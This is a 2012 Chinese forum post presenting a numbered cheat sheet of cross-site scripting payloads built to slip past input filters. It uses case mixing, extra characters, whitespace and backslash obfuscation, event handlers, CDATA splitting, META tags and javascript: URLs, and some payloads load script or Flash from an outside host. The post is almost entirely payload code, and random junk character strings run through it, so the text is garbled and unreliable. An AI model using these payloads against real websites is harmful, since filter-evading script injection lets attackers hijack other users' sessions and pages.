找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2609|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写
- ?8 n: i# e/ j; h. q  n4 E/ F: j! K  V
) N: F2 m% x+ m% q& ?
& X" x! O' ~7 T; N7 L. m0 e
    <sCript>alert(‘d’)</scRipT>
3 F! ^  Z5 P( [3 ^' [2 f
+ `  z* V) v" ?6 n6 m2. 利用多加一些其它字符来规避Regular Expression的检查
7 E5 \/ _2 {& w" M2 T1 R  ]- N% J/ l, G# S, u
    <<script>alert(‘c’)//<</script>
- R( V8 r6 N6 B& y9 h; d5 P- m2 A" ]' l! e7 K  I/ N) j7 w
    <SCRIPT a=">" SRC="t.js"></SCRIPT>. I. k: }7 e- d; v2 |# n

% Y" h+ P# z0 @    <SCRIPT =">" SRC="t.js"></SCRIPT>
0 q2 w  W& H1 z, v- L4 v" P4 z( L! p" W
    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
8 I+ x. @. }: n3 h/ l- q/ S" B; F4 u
    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
; P7 I; S5 T+ `6 A
" U& w; c* Y  [, I- b9 i    <SCRIPT a=`>` SRC="t.js"></SCRIPT>
5 g% x: g, h$ t+ |% n2 g7 R  N4 i# e& b5 ]. J) v/ a% Z
    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>
$ K) |0 p% X5 S% _% Y* i# G9 A! B* g7 @2 h" p! o5 ~! d
3. 以其它扩展名取代.js$ z; I! o4 {0 w, R8 H. r5 u
( ~. P) N7 a. a3 p
    <script src="bad.jpg"></script>
& [# c5 c/ p# ?) |3 A# V7 ?( d
5 ]4 ~# x0 |% T0 p" [- o4. 将Javascript写在CSS档里$ d! l" K  H1 d! R! h

% |( W+ |$ g# X5 n9 G* x7 `3 @* K1 S    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">$ `6 y: N; w, r! Q4 ^
; T( n+ j7 g7 O6 O, m, V
       example:
, g; |7 |! i- a* C& ^/ ]
9 g; e! p, Y  R2 r; r, [          body {& G4 _2 O( `  i
0 P" |' t6 F8 P2 K8 }3 C. d' W
               background-image: url(‘javascript:alert("XSS");’)
" m( n- l; _  C7 p$ |6 p6 k  v& \, D3 C1 u, Q( G0 W
          }
4 w+ q  q; h8 m  [. r# c3 t, M$ |$ M8 p: }0 m0 A9 \
5. 在script的tag里加入一些其它字符. A# \9 E2 n7 c: e& U! R% W
& `% b5 u. p2 @* `# k6 p4 s7 I0 Z4 m
    <SCRIPT/SRC="t.js"></SCRIPT>& T; ~+ F: }; I; _5 l9 `$ x
7 R- Q* U) M1 I& G, ?2 ^
    <SCRIPT/anyword SRC="t.js"></SCRIPT>9 W4 e7 ~& F: g* a) {7 b

. W, [5 x& U/ L+ F3 A# m  H6. 使用tab或是new line来规避
$ M" B( h: V3 n7 D3 P) c5 L
# b6 S5 j6 o( D; [' t+ I+ T    <img src="jav ascr ipt:alert(‘XSS3′)">
7 ^: N! |! h( Y0 B+ C7 z6 v8 E, w" @3 Q
  n* i- D4 a2 J0 L: n; ~& I( W8 T    <img src="jav ascr ipt:alert(‘XSS3′)">* Y) }. R2 _8 O& w! ^
9 u6 w. [  \  `0 C6 W  m8 C  a) M8 v
    <IMG SRC="jav ascript:alert(‘XSS’);">: r, H: @+ q- q
3 W# H, w9 L$ b5 P% e& _) \
         -> tag
: _& ~! l: ]% Q, Y, F1 s( t" V) S. t1 Q4 D% n4 M7 C
         -> new line" Z3 P- q3 o( G: W* q
7 W( B5 D* x; }* K; z* R
7. 使用"\"来规避
) G, u! J- t- k5 }, B% g6 D. v+ ~
* Y( _3 b& B9 i+ l0 V. A9 }/ ~    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
4 e9 s3 L& y+ e  a) m
/ ]- m, z, V4 \    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
, |  X3 ?* w9 @4 w& {4 l; r
7 {9 _/ \: K5 k, K6 P& B. W7 U7 p0 E    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
& w0 ^  U' v5 n2 ~0 p0 o
0 Z" l# h& V. E1 e( A3 }    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">4 H# n3 ^- H/ |8 [$ b
& L  r. T$ |% ?) f; v$ ~
    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
* P7 ]! }8 F. b. A; B9 r. e# ]7 [( |& ?2 l( v$ w* m- O9 S3 B* m. L
8. 使用Hex encode来规避(也可能会把";"拿掉)
% S# a' A4 |; @4 P$ i0 z' }7 g3 A
+ j$ }% k0 ^3 N$ y' O    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">3 V; E# J/ P% g+ `$ k, X- g
2 R) I6 G& H8 ]$ L$ O: J
        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">3 j+ E/ x' B* S0 L* [+ T' V4 G
5 e+ ~" r& t& O. m: [: O+ ~9 v
    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">' a! \/ [  |2 b$ w
0 l3 `3 A3 a  |
        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
2 I) X, Z* Q" \: H" `
2 M! U4 K# |+ x  V5 ]9. script in HTML tag: T0 M% o+ a; D. F, r7 T, Z2 H

4 R- ~7 d% N1 d! v: b7 P! J" Z    <body onload=」alert(‘onload’)」>( n2 D. l0 g( n0 u4 d4 h  N
1 H4 A0 R  _1 U. c( z
        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload
' z3 f' R6 L+ O- [4 R8 O1 w! b" I# }: t: P; ?# R
10. 在swf里含有xss的code! @; Q% _1 {3 Y

- t0 e( W% F, N. ~- R$ t, z    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>4 F( N5 H# Y- d( J; O* @# w" N

4 |; Q2 e4 @& J; s) o11. 利用CDATA将xss的code拆开,再组合起来。+ d: g( c7 u- `8 `- k; x3 L
6 P$ ]& q! S3 ?' x
    <XML ID=I><X><C>
7 K  }: i2 e9 Z% X' N) P8 v  `
' M% T+ n8 {4 S: l$ j1 y0 i3 x: a! h    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>( c9 E# w1 a6 Z6 g4 o$ m4 |

) f0 i! ]/ h3 P$ a& x% y8 T    </C></X>
: Z! ~' F3 N9 X5 s" u6 e$ m' G, I- {" m( f8 A
    </xml>( A. l8 K$ w- K: o6 m( p

# |2 a% e* q" ]* V  U  p0 Z$ z    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
8 a0 ^  S1 Y' n) F1 Z" V+ w3 v- ?7 B: {
    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
, A4 R1 l  d) t
9 B- ]9 L2 X) C    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
/ I" x0 l+ R1 t5 I' q) S3 h
3 d* s0 _" Y! s12. 利用HTML+TIME。! _- J7 R9 b0 b! \. V0 M
3 o0 p4 _: o1 B) X4 P
    <HTML><BODY>* r" U* ]1 i0 B2 ?

  R3 S. Q, {# w2 i& p9 s7 o5 Q4 V    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
- M3 l+ b' k1 k3 d, ?! b; W) e! Z. l
# |8 p- Z0 V( ~" ~  j    <?import namespace="t" implementation="#default#time2">8 i2 D( ?- c2 v9 N4 S! v2 a" _0 B

" m$ i% Y( [& K4 d7 b( q* t; m- p    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">0 t. T& m& t4 Q5 G) I

' Y: {7 M8 p& i' R# n, ^( O1 h    </BODY></HTML>% J0 b# W5 e3 ~- s8 ]
- X. P: x& Z7 O
13. 透过META写入Cookie。
! k3 W: b. q- P2 O8 b: y5 q- T" r; @' P: s# Y% Z, V
    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">0 `! q6 ?/ B; U9 L5 \
; U6 M3 O2 z' T7 c) Z
14. javascript in src , href , url
' Z7 T. y& g3 d3 t9 I& I  _% t0 G( t. a* C. q; V) W& C
    <IFRAME SRC=javascript:alert(’13′)></IFRAME>1 L5 z) t" H8 t8 }" \/ r; ?

' M* D. u7 V8 A    <img src="javascript:alert(‘XSS3′)">+ i+ [3 h. S: N! p0 ^: P+ m

0 K: t, }3 o7 E/ H+ [" U6 r<IMG DYNSRC="javascript:alert(‘XSS20′)">
4 m1 Y" u0 u: N2 P9 O
; a. r) \2 V" J2 a4 {  D, _. Q    <IMG LOWSRC="javascript:alert(‘XSS21′)">
+ T/ U& D: y$ d" A) w! |( N( v5 A/ h: Z' b4 C- h
    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">) v, T. e- W+ }! W0 b* @- b8 p( I

0 M/ Y6 G- u( T! v4 o    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
, o# ]5 M$ N, ]3 y  ~
! j/ q2 W$ i6 k  E! j/ F    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">* w& u8 @0 O! ?+ J3 W7 b
0 {* y3 x1 S9 n' X
    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
9 w4 |6 \: N! u. s6 l5 e5 n
7 e8 @: M% Y% z+ E    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
4 B* x. ?/ ?. v) z4 p
! g& a: J' h" O    </STYLE><A CLASS=XSS></A>: v) W: U! h! W9 s) ~
2 d7 _  v& O) i- T3 ]
    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
7 s+ [0 i' Z- C, ?/ g/ x
+ ^% p, X9 O3 g3 @% O1 R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表